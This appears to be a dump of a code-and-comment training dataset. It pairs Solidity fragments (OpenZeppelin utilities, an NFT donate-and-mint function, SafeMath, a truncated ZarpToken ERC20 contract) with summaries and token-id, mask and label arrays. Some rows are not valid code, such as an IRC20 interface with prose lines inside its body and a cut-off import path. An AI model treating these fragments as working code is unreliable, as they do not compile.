function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | * @dev I want to donate and mint NFTs.../ | function donateAndMint(uint256 _mintAmount)
public
payable
withinSupply(_mintAmount)
costs(MIN_DONATION_PER_NFT * _mintAmount)
{
if (address(this).balance >= 3 ether) {
donate();
}
for (uint256 i = 0; i < _mintAmount; i++) {
_safeMint(msg.sender);
}
}
| 10,344,697 | [
1,
45,
2545,
358,
2727,
340,
471,
312,
474,
423,
4464,
87,
2777,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2727,
340,
1876,
49,
474,
12,
11890,
5034,
389,
81,
474,
6275,
13,
7010,
3639,
1071,
7010,
3639,
8843,
429,
203,
3639,
3470,
3088,
1283,
24899,
81,
474,
6275,
13,
7010,
3639,
22793,
12,
6236,
67,
40,
673,
2689,
67,
3194,
67,
50,
4464,
380,
389,
81,
474,
6275,
13,
203,
565,
288,
203,
3639,
309,
261,
2867,
12,
2211,
2934,
12296,
1545,
890,
225,
2437,
13,
288,
203,
5411,
2727,
340,
5621,
203,
3639,
289,
203,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
389,
81,
474,
6275,
31,
277,
27245,
288,
203,
5411,
389,
4626,
49,
474,
12,
3576,
18,
15330,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/97/0xE7bE05433Fbd1b59d58cEEE3037D0D0baa358898/sources/contracts/EscrowStack.sol | solhint-disable-next-line no-simple-event-func-name | contract IRC20 {
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
| 3,289,741 | [
1,
18281,
11317,
17,
8394,
17,
4285,
17,
1369,
1158,
17,
9647,
17,
2575,
17,
644,
17,
529,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
467,
11529,
3462,
288,
203,
565,
445,
2078,
3088,
1283,
1435,
5381,
1135,
261,
11890,
5034,
14467,
1769,
203,
565,
353,
8089,
598,
30,
203,
565,
2254,
5034,
1071,
2078,
3088,
1283,
31,
203,
565,
1220,
6635,
3414,
279,
7060,
445,
364,
326,
2078,
3088,
1283,
18,
203,
565,
1220,
353,
10456,
358,
326,
1026,
6835,
3241,
1071,
7060,
4186,
854,
486,
203,
565,
4551,
14603,
5918,
487,
392,
4471,
434,
326,
3607,
8770,
203,
565,
445,
635,
326,
5274,
18,
203,
565,
2254,
5034,
1071,
2078,
3088,
1283,
31,
203,
203,
565,
445,
11013,
951,
12,
2867,
389,
8443,
13,
1071,
1476,
1135,
261,
11890,
5034,
11013,
1769,
203,
203,
565,
445,
7412,
12,
2867,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
2216,
1769,
203,
203,
565,
445,
7412,
1265,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
2216,
1769,
203,
203,
565,
871,
12279,
12,
2867,
8808,
389,
2080,
16,
1758,
8808,
389,
869,
16,
2254,
5034,
389,
1132,
1769,
203,
565,
871,
1716,
685,
1125,
12,
2867,
8808,
389,
8443,
16,
1758,
8808,
389,
87,
1302,
264,
16,
2254,
5034,
389,
1132,
1769,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x27E06500263D6B27A3f8b7Be636AaBC7ADc186Be/sources/EasyInvestForeverNeverending.sol | stores the next calculated low after a NEW HIGH is reached, assuming no further investment, based on the calculated interest for the new high and the total investment up until then
| uint256 public calculatedLow = 0; | 15,640,661 | [
1,
19632,
326,
1024,
8894,
4587,
1839,
279,
12887,
23472,
353,
8675,
16,
15144,
1158,
9271,
2198,
395,
475,
16,
2511,
603,
326,
8894,
16513,
364,
326,
394,
3551,
471,
326,
2078,
2198,
395,
475,
731,
3180,
1508,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
11890,
5034,
1071,
8894,
10520,
273,
374,
31,
9506,
377,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x2376d5C04240842AFe1c4e0F363Ed186c52b3F64/sources/contracts/openzeppelin/utils/math/SafeMath.sol | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), reverting with custom message when dividing by zero. CAUTION: This function is deprecated because it requires allocating memory for the error message unnecessarily. For custom revert reasons use {tryMod}. Counterpart to Solidity's `%` operator. This function uses a `revert` opcode (which leaves remaining gas untouched) while Solidity uses an invalid opcode to revert (consuming all remaining gas). Requirements: - The divisor cannot be zero./ | function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
| 4,163,594 | [
1,
1356,
326,
10022,
434,
3739,
10415,
2795,
9088,
12321,
18,
261,
22297,
3571,
26109,
3631,
15226,
310,
598,
1679,
883,
1347,
3739,
10415,
635,
3634,
18,
6425,
13269,
30,
1220,
445,
353,
6849,
2724,
518,
4991,
4767,
1776,
3778,
364,
326,
555,
883,
16209,
21513,
18,
2457,
1679,
15226,
14000,
999,
288,
698,
1739,
5496,
9354,
2680,
358,
348,
7953,
560,
1807,
12430,
68,
3726,
18,
1220,
445,
4692,
279,
1375,
266,
1097,
68,
11396,
261,
12784,
15559,
4463,
16189,
640,
869,
19370,
13,
1323,
348,
7953,
560,
4692,
392,
2057,
11396,
358,
15226,
261,
17664,
310,
777,
4463,
16189,
2934,
29076,
30,
300,
1021,
15013,
2780,
506,
3634,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
915,
681,
12,
203,
202,
202,
11890,
5034,
279,
16,
203,
202,
202,
11890,
5034,
324,
16,
203,
202,
202,
1080,
3778,
9324,
203,
202,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
202,
202,
6528,
12,
70,
405,
374,
16,
9324,
1769,
203,
202,
202,
2463,
279,
738,
324,
31,
203,
202,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/11155111/0x372b8E841e62Ab5852521420847929cc752dDB83/sources/contracts/CopperDiamond/facets/CopperTrust/CopperTrust.sol | shared/facets/Trust/Trust.sol";
| import {Trust} from "../../.. | 3,804,955 | [
1,
11574,
19,
11639,
2413,
19,
14146,
19,
14146,
18,
18281,
14432,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5666,
288,
14146,
97,
628,
315,
16644,
838,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
abstract contract ERC20 {
function totalSupply() public virtual view returns (uint256);
function balanceOf(address who) public virtual view returns (uint256);
function transfer(address to, uint256 value) public virtual returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library Sigs {
function splitSig(bytes memory sig) internal pure returns (uint8 v, bytes32 r, bytes32 s){
require(sig.length == 65);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
return (v,r,s);
}
function numSigs(bytes memory sigs) internal pure returns (uint256){
require(sigs.length % 65 == 0);
return sigs.length/65;
}
}
/**
* @title Zarp token
* @dev ERC20 for Zarp token with multisig minting and whitelisting.
*/
contract ZarpToken is ERC20 {
using SafeMath for uint256;
using Sigs for bytes;
mapping(address => uint256) public balances;
mapping(address => uint256) public burnBalances;
mapping(address => bool) public whitelist;
uint256 private _totalSupply;
address public owner;
mapping (address => bool) private _canMint;
mapping (address => bool) private _canWhitelist;
mapping (address => bool) private _canBurn;
uint8 private _canWhitelistNum = 0;
uint8 private _canMintNum = 0;
uint8 private _canBurnNum = 0;
uint8 public mintNumSigsRequired = 1;
uint8 public whitelistNumSigsRequired = 1;
bool private _allowSigLock = false; //allows number of sigs required to be greater thar number of signatries
uint8 private _whitelistSettings = 0;
/*
0 - can transfer from and to an unwhitelisted account
1 - can transfer to an unwhitelisted account but not from
2 - can transfer from an unwhitelisted account but not to
3 - can only transfer to or from a whiltelisted account
*/
bool private _anyoneCanBurn = false;
event Minted(uint256 value, address minter, address to);
event Burned(uint256 value, address burner);
modifier isOwner() {
require(msg.sender==owner);
_;
}
constructor (address _owner) public {
owner = _owner;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() override public view returns (uint256) {
return _totalSupply;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) override public returns (bool) {
require(_value <= balances[msg.sender]);
if(_to == address(0)){
burn(_value);
return true;
}
//require whitelist rules
require(
_whitelistSettings==0 ||
(_whitelistSettings==1 && whitelist[msg.sender]) ||
